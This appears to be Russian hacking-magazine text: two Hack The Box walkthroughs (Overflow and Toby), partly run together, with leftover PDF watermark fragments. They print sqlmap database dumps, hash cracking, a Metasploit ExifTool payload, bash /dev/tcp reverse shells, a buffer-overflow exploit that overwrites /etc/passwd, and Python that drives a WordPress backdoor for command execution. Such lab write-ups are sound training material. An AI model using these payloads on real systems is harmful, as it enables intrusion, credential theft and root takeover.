Поиск­ экспло­ итов­ с помощью searchsploit

Но проэкс­ плу­ ати­ ровать­ уязвимость­ не выходит, поэтому­ перейдем­ к логам.

Логи­ сайта­

В самих логах ничего полезного­ не находим. Однако­ если посмотреть­ на зап ­ рос в Burp, то сам способ­ запроса­ привлека­ ет­ внимание­ .

Запрос­ логов в Burp

Страница­ logs.php принима­ ет­ параметр name, а это новая точка­ входа­ !

SQL Injection

Я веду несколь­ ­ко словарей­ , содержащих­ разные­ последова­ ­тель­нос­ти триг ­ геры для разных­ уязвимос­ ­тей. На словаре­ для определе­ ­ния инъекций­ SQL у меня определи­ ­лось несколь­ ­ко видов ответов­ .

Burp Intruder — вкладка­ Payload Positions

Резуль­ тат­ перебора­

Чтобы­ раскру­ тить­ уязвимость­ , восполь­ зуем­ ся­ sqlmap. Указыва­ ем­ получен ­ ные ранее cookie, а тестиру­ емое­ место­ — символом­ *.

sqlmap -u 'http://overflow.htb/home/logs.php?name=*' --cookie auth=

BAitGdYOupMjA3gl1aFoOwAAAAAAAAAA0

Определе­ ­ние нагрузки­ для эксплу­ ­ата­ции

Sqlmap нашел уязвимый­ запрос­ , поэтому­ попробу­ ­ем достать­ интерес­ ­ные данные­ . Первым­ делом получим список­ баз данных­ (параметр --dbs).

sqlmap -u 'http://overflow.htb/home/logs.php?name=*' --cookie auth=

BAitGdYOupMjA3gl1aFoOwAAAAAAAAAA --dbs

Список­ баз данных­

Логи­ нам неинтерес­ ­ны, служеб­ ­ная база — тоже, а вот cmsmsdb — это база данных­ Made Simple. Она должна­ содержать­ учетные­ данные­ . Получим список­ таблиц­ (параметр --tables) из этой базы (параметр -D).

sqlmap -u 'http://overflow.htb/home/logs.php?name=*' --cookie auth=

BAitGdYOupMjA3gl1aFoOwAAAAAAAAAA -D cmsmsdb --tables

Список­ таблиц­

Нас интересу­ ­ет таблица­ cms_users. Выводим все содержимое­ (параметр -- dump) из этой таблицы­ (параметр -T).

sqlmap -u 'http://overflow.htb/home/logs.php?name=*' --cookie auth=

BAitGdYOupMjA3gl1aFoOwAAAAAAAAAA -D cmsmsdb -T cms_users --dump

Содер­ жимое­ таблицы­ cms_users

Получа­ ­ем два хеша пользователь­ ­ских паролей. Теперь попробу­ ­ем их кряк ­ нуть. Made Simple использует­ хеширование­ MD5 с солью по схеме­ md5(salt + pass) (для hashcat это режим 20). Соль мы можем получить как sitemask

из таблицы­ cms_siteprefs.

sqlmap -u 'http://overflow.htb/home/logs.php?name=*' --cookie auth=

BAitGdYOupMjA3gl1aFoOwAAAAAAAAAA -D cmsmsdb -T cms_siteprefs --dump

Продолжение статьи0

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

c

 

o m

ВЗЛОМ

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x ha

 

 

 

 

УПРАЖНЯЕМСЯ В АТАКЕ PADDING ORACLE И ЭКСПЛУАТИРУЕМ БАГ В EXIFTOOL

Соль для хеша MD5

Хеш и соль нужно­ записать в файл в формате­ hash:salt, после­ чего отдать его на перебор в hashcat, который очень быстро­ вернет­ нам пароль поль ­ зователя­ editor.

hashcat -a 0 -m 20 hashes rockyou.txt0

Резуль­ тат­ перебора­ хешей

Учетные­ данные­ помогают­ авторизо­ вать­ ся­ в Made Simple.

Главная­ страница­ CMS Made Simple

Погуляв­ по сайту­ , находим новый домен. А это новая точка­ входа­ !

Страница­ User Defned Tags

ТОЧКА ОПОРЫ

Новый­ домен сразу­ добавляем­ в файл /etc/hosts.

10.10.11.119 overflow.htb devbuild-job.overflow.htb0

Форма­ авториза­ ции­ Overfow Devbuild

Разоб­ рать­ ся­ с формой­ авториза­ ции­ нам помогают­ учетные­ данные­ поль ­ зователя­ editor. Нам открывает­ ся­ какой то магазин дизайна­ приложе­ ний­ . И первым­ делом я отправил­ ся­ искать возможность­ что то изменить­ в нас ­ тройках­ аккаунта­ в надежде­ найти­ очеред­ ную­ точку­ входа­ .

Главная­ страница­ веб приложе­ ния­

В профиле­ есть возможность­ загрузить­ резюме — то, что нужно­ ! Попытки­ залить разные­ нагрузки­ успехом­ не увенчались­ , так как форма­ принима­ ет­ только­ файлы­ TIFF и JPEG.

Форма­ загрузки­ резюме

Однако­ потом я решил глянуть­ , что предлага­ ет­ мне Burp, и нашел в ответе­ вывод ExifTool версии­ 11.02.

Ответ­ сервера­

Так как мы знаем­ версию­ программы­ , нужно­ сразу­ проверить­ наличие задоку ­ ментирован­ ных­ экспло­ итов­ .

Поиск­ экспло­ итов­ в Google

Мы тут же получаем­ CVE-идентифика­ тор­ уязвимос­ ти­ , которая может дать нам удален­ ное­ выполнение­ кода. Оно возможно­ , посколь­ ку­ при обработ­ ке­ изоб ­ ражения не фильтру­ ются­ пользователь­ ские­ данные­ , что позволя­ ет­ нам записать в качестве­ этих данных­ нагрузку­ . Для этой уязвимос­ ти­ есть даже готовый билдер­ в Metasploit Framework:

exploit/unix/fileformat/exiftool_djvu_ant_perl_injection0

Выбира­ ем­ в качестве­ нагрузки­ реверс шелл Unix и указыва­ ем­ адрес хоста­ и порт, на котором запущен листенер­ (запускаем­ командой­ rlwrap -cAr nc

-lvp 4321).

msfconole -q

use exploit/unix/fileformat/exiftool_djvu_ant_perl_injection0

set payload cmd/unix/reverse_netcat0

set LHOST 10.10.14.170

set LPORT 43210

Генери­ рова­ ние­ изображения­ с нагрузкой­

Засыла­ ем­ картинку­ и тут же получаем­ бэкконнект­ от сервера­ .

Логи­ листенера­

ПРОДВИЖЕНИЕ Пользователь developer

Так как на хосте­ развернут­ веб сервер­ , а на нем работает­ несколь­ ко­ веб при ­ ложений­ , то первое­ наше действие­ — попробовать­ получить учетные­ данные­ пользовате­ лей­ . Высока вероятность­ того, что эти логины и пароли подойдут­ для каких то пользовате­ лей­ в системе­ . К тому же был каталог content, именно­

в нем мы и находили­ файл с учетными­ данными­ для подклю­ ­чения к базе дан ­ ных.

Содер­ жимое­ файла­ db.php

От имени­ пользовате­ ля­ developer подклю­ чаем­ ся­ по SSH.

Сессия­ пользовате­ ля­ developer

Пользователь tester

Как показывает­ команда­ id, наш пользователь­ состоит­ в группе­ network. Это не какая то умолчатель­ ­ная настрой­ ­ка.

Для сбора­ информации­ с машины я использовал­ скрипт LinPEAS. С его помощью определя­ ем­ , что члены­ группы­ network имеют­ право­ записи в файл /etc/hosts, а также­ текущему­ пользовате­ лю­ разрешен­ запуск файла­ /opt/ commontask.sh, владель­ цем­ которого­ является­ tester.

Файлы­ , доступные­ для записи

Файлы­ со списком­ доступа­

Просмотрим­ содержимое­ файла­ /opt/commontask.sh.

Содер­ жимое­ файла­ commontask.sh

Этот скрипт скачива­ ет­ файл task.sh с адреса­ taskmanage.overflow.htb и выполняет­ с помощью bash. Дело в том, что хост не знает­ этого­ имени­ и не может его зарезолвить­ , но мы можем записать его в файл /etc/hosts на уда ­ ленном­ хосте­ , а в качестве­ адреса­ указать­ свой хост.

Содер­ жимое­ файла­ /etc/hosts

Создаем­ на своем­ веб сервере­ скрипт task.sh, куда записываем­ обычный­ реверс шелл:

bash -i >& /dev/tcp/10.10.14.7/4321 0>&1`

В течение минуты получаем­ бэкконнект­ .

Флаг пользовате­ ля­

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Среди­ файлов­ со списком­ доступа­ , обнаружен­ ­ных с помощью LinPEAS, был и /opt/file_encrypt. Он может запускать­ ­ся пользовате­ ­лем tester от име ­ ни рута. В этой директории­ я обнаружил­ сообщение­ , в котором говорится­ о том, что нужно­ обратить­ внимание­ на функцию­ провер­ ­ки ПИН кода.

Содер­ жимое­ каталога­ /opt/fle_encrypt

Тестовый­ запуск приложе­ ния­

Скачива­ ­ем приложе­ ­ние на локальную­ машину, чтобы­ хорошенько­ разревер­ ­ сить и понять, что в нем происхо­ ­дит. Для анализа­ приложе­ ­ния я использовал­

IDA Pro с декомпилято­ ­ром Hex-Rays.

Анализ приложения

Итак, в функции­ main кроме­ вызова функции­ check_pin больше­ ничего не происхо­ дит­ .

Функция­ main

В функции­ check_pin генерирует­ ся­ псевдослу­ чай­ ное­ число­ (строка­ 8), затем оно передается­ в функцию­ random для дальнейших­ преобра­ зова­ ний­ (стро ­ ка 9). ПИН код считыва­ ется­ из консоли­ и сравнива­ ется­ с преобра­ зован­ ным­ рандомным­ значени­ ем­ (строки­ 11–13). Далее считыва­ ется­ имя и выводится­ сообщение­ (строки­ 14–16).

Функция­ check_pin

Функция­ random

Сразу­ обозначим­ следующее­ :

сгенери­ ­рован­ное «рандомное­ » число­ всегда­ будет одним и тем же при каждом­ запуске­ программы­ , так как не использует­ ­ся инициали­ ­зация рандомай­ ­зера;

длина­ буфера v1 — 20 байт, при этом длина­ считыва­ ­емой строки­ не про ­ веряется­ . Таким образом­ , мы имеем­ переполнение­ буфера.

Всписке­ функций­ найдем­ еще одну, которая нигде­ не вызывается­ , — функция­ encrypt.

Список­ функций­

Провер­ ка­ ссылок­ на функцию­ encrypt

В начале функции­ у нас запрашива­ ют­ два файла­ (строки­ 35–50). Затем выполняет­ ся­ посимволь­ ное­ чтение­ из первого­ файла­ , XOR с символом­ 0x9B и запись во второй­ файл (строки­ 52–78).

 

 

 

 

 

Функция­

encrypt

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Таким­

образом­

мы можем заранее

зашифровать­

файл с ключом­

0x9B,

а затем перезаписать­

любой файл в системе­

. При повторном­

шифровании­

в программе­

он будет расшифро­

ван­ . Осталось­

вызвать­

функцию­

encrypt,

для чего нужно­ получить ПИН и переполнить­

буфер.

 

 

 

 

 

Получение ПИН-кода

Чтобы­ узнать ПИН код, я решил просто­ запустить­ приложе­ ние­ в отладчике­ и получить его значение­ после­ выполнения­ функции­ random (результат­ в регистре­ EAX).

Получе­ ­ние ПИН кода

Так как первый­ байт (0xf3) больше­ , чем 0x7f, то наше число­ будет представ­ ­ лено как отрицатель­ ­ное. То есть нам нужно­ из полученного­ значения­ вычесть 0x100000000, выйдет­ -202976456 — это и есть наш ПИН.

Переполнение буфера

В тестирова­ ­нии переполнения­ буфера очень помогают­ генераторы­ пос ­ ледователь­ ­нос­тей де Брёйна­ (неповторя­ ­ющих­ся цепочек символов­ ). Они к тому же помогают­ точно­ вычислить­ смещение­ , по которому­ мы можем перезаписы­ ­вать в стеке­ адрес возвра­ ­та из функции­ . Сгенери­ ­ровать такую последова­ ­тель­ность можно­ , к примеру­ , с помощью незаменимо­ ­го pwntools. Сгенери­ ­руем строку­ длиной­ 200 символов­ .

Генери­ рова­ ние­ последова­ тель­ нос­ ти­ де Брёйна­

Теперь­ передадим­ ее в качестве­ имени­ нашему приложе­ нию­ и посмотрим­ , на каком адресе­ вылетит программа­ .

Ошибка­ выполнения­ программы­

Так, 0x6161616c соответс­ ­тву­ет последова­ ­тель­нос­ти laaa. Получим смещение­ в последова­ ­тель­нос­ти.

Получе­ ние­ смещения­

Выходит­ , до адреса­ функции­ encrypt мы должны­ передать 44 байта­ . Оста ­ лось получить адрес функции­ . Для этого­ запускаем­ программу­ на удален­ ­ном хосте­ через отладчик GDB, запускаем­ программу­ (команда­ r), после­ чего посылаем­ сигнал­ завершения­ (Ctrl-C) и просматри­ ­ваем функцию­ encrypt (команда­ disas encrypt). Искомый­ адрес — 0x5655585b.

Получе­ ние­ адреса­ функции­ encrypt

Что удобно­ , адрес полностью­ состоит­ из печатаемых­ символов­ .

Нагрузка­ для переполнения­ буфера

После­ запуска­ программы­ ввода­ ПИН кода и нагрузки­ , переполняющей­ буфер, у нас спрашива­ ­ют путь к файлу­ . Таким образом­ нам удалось­ перейти­ к функции­ encrypt.

Провер­ ка­ полученных­ значений­

Перезапись файла

Сначала­ я хотел перезаписать­ файл authorized_keys, чтобы­ потом подклю­ ­ читься­ по SSH, но ничего не вышло­ . Тогда­ я решил перезаписать­ файл /etc/ passwd. Добавим туда нового пользовате­ ­ля с высокими­ привиле­ ­гиями. Но сначала­ зашифруем­ пароль этого­ пользовате­ ­ля.

 

 

Шифрование­

пароля нового пользовате­

ля­

 

 

 

 

 

 

 

 

Затем­

скопиру­

ем­ содержимое­

файла­ /etc/passwd в

файл /tmp/passwd

и добавим в конец строку­ , отвечающую­

за нашего пользовате­

ля­ .

Добав­ ление­ записи в /tmp/passwd

Теперь­ проксорим­ этот файл.

src = open("/tmp/passwd", "rb").read()

dst = open("/tmp/passwd.n", "wb")

for i in src:

dst.write(bytes([i^0x9b]))

И укажем­ эти файлы­ в программе­ .

Эксплу­ ата­ ция­ уязвимос­ ти­

Программа­ рухнула­ , но свою задачу выполнила­ . Осталось­ просто­ сменить­ пользовате­ ля­ и забрать­ флаг рута.

Флаг рута

Машина­ захвачена­ !

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ВЗЛАМЫВАЕМ СЕРВЕР ЧЕРЕЗ ЧЕРЕДУ ЧУЖИХ БЭКДОРОВ

Сегод­ ня­ мы с тобой разберем­

прохож­ ­

дение «безумной­ » по сложности­

машины

с площад­ ки­ Hack The Box. Посмотрим­

,

как работает­

 

 

 

 

 

бэкдор­

для WordPress,

и используем­

его, чтобы­

получить доступ­

к хосту­ . Затем проник­ ­нем в Docker, перех ­ ватим пароль пользовате­ ­ля при подклю­ ­ чении к базе данных­ и секретный­ ключ при подклю­ ­чении к SSH. А в конце­ поищем, разберем­ и используем­ бэкдор­ в механиз ме аутентифика­ ­ции Linux.

RalfHacker hackerralf8@gmail.com

Подклю­ чать­ ся­ к машинам с HTB рекомендует­ ся­ только­ через VPN. Не делай этого­ с компьюте­ ров­ , где есть важные­ для тебя данные­ , так как ты ока ­ жешься­ в общей сети с другими­ участни­ ками­ .

РАЗВЕДКА Сканирование портов

Добав­ ­ляем IP-адрес машины в /etc/hosts:

10.10.11.121 toby.htb0

И запускаем­ сканиро­ вание­ портов­ .

Сканиро­ ­вание портов­ — стандар­ ­тный первый­ шаг при любой атаке­ . Он поз ­ воляет­ атакующе­ ­му узнать, какие службы­ на хосте­ принима­ ­ют соединение­ . На основе­ этой информации­ выбирается­ следующий­ шаг к получению­ точки­ входа­ .

Наибо­ ­лее известный­ инстру­ ­мент для сканиро­ ­вания — это Nmap. Улучшить­ результаты­ его работы ты можешь при помощи следующе­ ­го скрипта­ .

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |

tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действу­ ет­ в два этапа­ . На первом­ произво­ дит­ ся­ обычное­ быстрое­ ска ­ нирование­ , на втором­ — более тщатель­ ное­ сканиро­ вание­ , с использовани­ ем­ имеющих­ ся­ скриптов­ (опция -A).

Резуль­ тат­ работы скрипта­

Нашли­ четыре открытых­ порта­ :

22 — служба­ OpenSSH 8.2p1;

80 — веб сервер­ Nginx 1.18.0;

10022 — служба­ OpenSSH 8.1;

10080 — пока неизвес­ тный­ HTTP-сервер­ .

Как обычно­ , начнем­ с веб сервера­ , тем более Nmap сам нашел для нас файл robots.txt.

Этот файл использует­ ся­ для того, чтобы­ попросить­ крауле­ ры­ (например­ , Google или Яндекс) не трогать­ какие то определен­ ные­ каталоги­ . Например­ , никто­ не хочет, чтобы­ в поисковой­ выдаче появлялись­ страницы­ авториза­ ции­ админис­ тра­ торов­ сайта­ , файлы­ или персональ­ ная­ информация­ со страниц­ пользовате­ лей­ и прочие­ вещи в таком духе. Однако­ и злоумыш­ ленни­ ки­ пер ­ вым делом просматри­ вают­ этот файл, чтобы­ узнать о файлах­ и каталогах­ , которые хочет спрятать­ админис­ тра­ тор­ сайта­ .

Сканирование веб-контента

В robots.txt записана­ директория­ wp-admin, говорящая­ нам о том, что сайт работает­ на WordPress. Если взглянуть­ в историю­ запросов­ Burp, то найдем­

и новый поддомен­ , который добавляем­ в /etc/hosts.

10.10.11.121 toby.htb wordpress.toby.htb0

История­ запросов­ Burp

А на самом сайте­ находим сообщение­ о недавней­ атаке­ .

Главная­ страница­ сайта­

Больше­ ничего любопытного­ найти­ не удалось­ , сканиро­ ­вание с помощью WPScan ничего интерес­ ­ного тоже не показало­ . А так как на сайте­ уже есть один поддомен­ , можем попытаться­ найти­ еще. Сканиро­ ­вать будем с помощью ffuf, а в качестве­ места­ для перебора­ указыва­ ­ем HTTP-заголовок­

Host.

ffuf -u http://toby.htb -H "Host: FUZZ.toby.htb" -w subdomains-

top1million-110000.txt -t 256 -fs 108370

Резуль­ тат­ сканиро­ вания­ поддоменов­

Находим­ новый поддомен­ backup, который сразу­ добавляем­ в /etc/hosts. А на сайте­ нас встречает­ Gogs — легковес­ ный­ сервис­ Git, написанный­ на Go.

10.10.11.121 toby.htb wordpress.toby.htb backup.toby.htb0

Главная­ страница­ сайта­

ТОЧКА ВХОДА

В Git находим одного­ пользовате­ ля­ toby-admin, чьи репозитории­ не отоб ­ ражаются­ .

Активные­ пользовате­ ли­ Gogs

Но попробу­ ем­ просканиро­ вать­ репозитории­ как каталоги­ с помощью того же fuf.

ffuf -u http://backup.toby.htb/toby-admin -w directory_2.3_medium_

lowercase.txt -t 2560

Сканиро­ вание­ каталогов­

В итоге­ находим два каталога­ , один из которых не возвра­ щает­ никакого­ кон ­ тента (starts). А вот репозиторий­ backup очень интересен­ , так как это исходные коды сайта­ wordpress.toby.htb.

Содер­ жимое­ репозитория­ backup

Скачива­ ­ем репозиторий­ (git clone http://backup.toby.htb/tobyadmin/backup.git) и для удобства­ открываем­ в каком нибудь редакторе­ для программи­ ­рова­ния. Я буду использовать­ VSCode. Так как сайт постро­ ­ен на WordPress, первым­ делом получим учетные­ данные­ для подклю­ ­чения к базе данных­ . Они содержатся­ в файле­ wp-config.php.

Содер­ жимое­ файла­ wp-confg.php

Обратим­ внимание­ на хост mysql.toby.htb, о котором мы пока ничего не знаем­ . Пароль для подклю­ чения­ к базе данных­ по SSH подклю­ чить­ ся­ не помог, поэтому­ будем анализи­ ровать­ исходные коды. Сообщение­ об атаке­ было оставлено­ не просто­ так, скорее­ всего­ , нам нужно­ найти­ бэкдор­ . Так как это PHP-файлы­ , я попробовал­ поискать­ в них «опасные­ » функции­ . И находим интерес­ ное­ примене­ ние­ функции­ eval, которая нужна­ для выпол ­ нения передаваемо­ го­ в нее кода на PHP.

Поиск­ по строкам­

Перехо­ дим­ к файлу­ comment.php, где в функцию­ eval после­ несколь­ ких­ опе ­ раций по преобра­ зова­ нию­ передается­ закодирован­ ная­ последова­ тель­ ность­ .

Содер­ жимое­ файла­ comment.php

Это не обычный­ код WordPress, поэтому­ остановим­ ­ся именно­ на нем. Пос ­

мотрим, где вызывается­ функция­ wp_handle_comment_submission.

Поиск­ по строкам­

И видим вызов из файла­ wp-comments-post.php. То есть мы можем получить доступ­ к бэкдору­ при отправке­ коммента­ риев­ к посту­ . Давай разбирать­ ся­ с самим бэкдором­ .

ТОЧКА ОПОРЫ

Я скопиро­ ­вал код бэкдора­ и обернул­ его в теги PHP, чтобы­ получить декоди ­ рованный­ код. Но там оказал­ ­ся точно­ такой же вложен­ ­ный код!

Модер­ низиро­ вание­ кода

Декоди­ рован­ ный­ бэкдор­

Похоже­ , таких уровней­ вложен­ ности­ будет много­ . Я решил восполь­ зовать­ ся­ онлай­ новым­ сервисом­ для деобфуска­ ции­ кода.

Деобфусци­ рован­ ный­ код бэкдора­

Здесь представ­ ­лен только­ механизм авториза­ ­ции для получения­ доступа­ к основному­ коду, которому­ передается­ управление­ через функцию­

wp_validate_4034a3 (строка­ 8). Туда переправля­ ­ются переменные­ host и sec. Так, в коммента­ ­рии должны­ быть указаны­ help@toby.htb в качестве­ почтового­ адреса­ и http://test.toby.htb/ в качестве­ URL. Переменные­ host и sec должны­ быть разделены­ символом­ :, и перед этой последова­ ­тель ­ ностью должна­ идти строка­ 746f6279. По синтакси­ ­су я решил, что sec — это порт, куда должен­ прийти­ бэкконнект­ . Откроем­ листенер­ и отправим­ пробный­ коммента­ ­рий.

Отправ­ ка­ коммента­ рия­ под постом­

Но на листенер­ ничего не пришло­ . Тогда­ откроем­ Wireshark, отбросим­ весть трафик­ , связан­ ный­ с 80-м портом­ , и повторим­ наш коммент­ . И увидим­ попыт ­ ку бэкконнек­ та­ на порт 20053!

Трафик­ в Wireshark

Переза­ пус­ тим­ листенер­ с указани­ ем­ нового порта­ и снова­ получим бэк ­ коннект. В итоге­ вместо­ реверс шелла­ нам приходит­ какая то строка­ . Веро ­ ятно, придет­ ся­ программи­ ровать­ самим. Давай автомати­ зиру­ ем­ отправку­ запроса­ и прием­ бэкконнек­ та­ .

import socket

import requests

for i in range(2):

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

sock.bind(('0.0.0.0', 20053))

sock.listen(1)

try:

url = 'http://wordpress.toby.htb/wp-comments-post.php'

data = {"comment": "746f627910.10.14.82:4321", "author":

"ralf", "email": "help@toby.htb", "url": "http://test.toby.htb/",

"submit": "Post Comment", "comment_post_ID": "2", "comment_parent":

"0"

}

requests.post(url, data = data, timeout = 0.5)

except requests.exceptions.Timeout:

pass

conn, address = sock.accept()

data = conn.recv(1024)

print(data.decode())

conn.close()

sock.close()

Продолжение статьи0

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

 

.

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x ha

 

 

 

 

ВЗЛАМЫВАЕМ СЕРВЕР ЧЕРЕЗ ЧЕРЕДУ ЧУЖИХ БЭКДОРОВ

Выпол­ нение­ кода

Еще я заметил, что при каждом­ новом запросе­ первая­ часть строки­ ответа­ (GUID) изменяет­ ся­ , а вторая­ часть остается­ такой же за исключени­ ем­ двух символов­ .

Выпол­ нение­ кода

Это натолкну­ ло­ на мысль о том, что строка­ закодирова­ на­ в hex. И пред ­ положение­ оказалось­ верным­ . Если у тебя установ­ лен­ пакет pwntools, можешь использовать­ команду­ unhex.

Декоди­ рова­ ние­ шестнад­ цатерич­ ных­ значений­

Также­ получаем­ новую пометку­ : xor_key. Я попытался­ снова­ декодировать­ уже новое шестнад­ ­цатерич­ное значение­ , но получил какие то непонятные­ символы­ . Про XOR упомина­ ­ется неспрос­ ­та, поэтому­ нужно­ попробовать­ проксорить­ полученные­ данные­ , но с каким ключом­ ? Из всех используемых­

данных­ мы не нашли­ примене­ ­ния только­ отправленно­ ­му параметру­ sec. Я использовал­ это значение­ в качестве­ ключа­ для XOR и получил внятную­ стро ­ ку!

Декоди­ рова­ ние­ значения­ xor_key

Таким­ образом­ , при каждом­ новом запросе­ будет изменять­ ся­ лишь одна бук ­ ва посередине­ . В дальнейшем­ для удобства­ в качестве­ значения­ sec будем указывать­ 00, чтобы­ не происхо­ дил­ XOR (так как x^0=x). Но это не все, пос ­ кольку­ после­ получения­ строки­ соединение­ с сервером­ не обрывает­ ся­ . Поп ­ робуем­ послать­ ему какую нибудь строку­ , на что нам снова­ придет­ ответ!

Тестирова­ ние­ бэкдора­

Попыт­ ка­ декодировать­ HEX и ксорить­ полученную­ строку­ со значени­ ем­ sec не увенчалась­ успехом­ . Однако­ попробу­ ем­ использовать­ в качестве­ ключа­ код символа­ , отправляемо­ го­ нам сервером­ , — он обрамляется­ строками­

KEY_PREFIX_ и _KEY_SUFFIX.

Декоди­ рова­ ние­ второго­ сообщения­

Это строка­ cmd:, то есть у нас запрашива­ ют­ команду­ . Попробу­ ем­ отправить­ команду­ id вместо­ случай­ ной­ строки­ , при этом проксорив­ ее ключом­ сер ­ вера. Конечно­ , это все автомати­ зиру­ ем­ .

import socket

import requests

import binascii

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

sock.bind(('0.0.0.0', 20053))

sock.listen(1)

try:

url = 'http://wordpress.toby.htb/wp-comments-post.php'

data = {"comment": "746f627910.10.14.82:00", "author": "ralf",

"email": "help@toby.htb", "url": "http://test.toby.htb/", "submit":

"Post Comment", "comment_post_ID": "9", "comment_parent": "0"}

requests.post(url, data = data, timeout = 0.5)

except requests.exceptions.Timeout:

pass

conn, address = sock.accept()

data = conn.recv(1024).split(b'|')[1].strip()

xor_key_hex = binascii.unhexlify(data).split(b':')[1]

key = binascii.unhexlify(xor_key_hex).split(b'_')[2][0]

command = b"id"

xor_command = bytes([c^key for c in command])

conn.send(xor_command)

data_xor_hex = conn.recv(1024).split(b'|')[1].strip()

data_xor = binascii.unhexlify(data_xor_hex)

result = bytes([c^key for c in data_xor]).decode()

print(result)

Выпол­ нение­ кода

И мы получаем­ RCE! Откроем­ листенер­ rlwrap -cAr nc -lvp 80 и выпол ­ ним реверс шелл:

bash -c 'bash -i >& /dev/tcp/10.10.14.82/80 0>&1'

Сразу­ скажу­ , что пробросить­ соединение­ на порт 4321 не вышло­ , поэтому­ пробуем­ популярные­ веб порты­ , к примеру­ 80-й.

Получе­ ние­ бэкконнек­ та­

ПРОДВИЖЕНИЕ Сбор учетных данных

Мы получаем­ доступ­ к хосту­ , но как повысить привиле­ гии­ ? Наиболее­ веро ­ ятный способ­ получить учетку­ пользовате­ ля­ — завладеть­ его паролем.

Так как мы работаем­ от имени­ службы­ веб сервера­ (www-data), а на хосте­ установ­ ­лены два движка­ (WordPress и Gogs), можно­ попробовать­ получить учетные­ данные­ из их баз данных­ . Кстати­ , учетка­ для подклю­ ­чения к БД у нас уже есть — из файла­ wp-config.php. Осталось­ узнать адрес хоста­ mysql.

toby.htb.

nslookup mysql.toby.htb0

Получе­ ние­ адреса­ хоста­ по его DNS-имени­

Посколь­ ку­ СУБД установ­ лена­ на другом­ хосте­ (скорее­ всего­ , это Docker), для удобной­ работы лучше­ постро­ ить­ SOCKS-туннель­ во внутреннюю­ сеть. Для этого­ будем использовать­ утилиту­ Chisel. Загружа­ ем­ собранную­ версию­

и на локальный­ хост, и на удален­ ный­ . Для загрузки­ на удален­ ный­ хост:

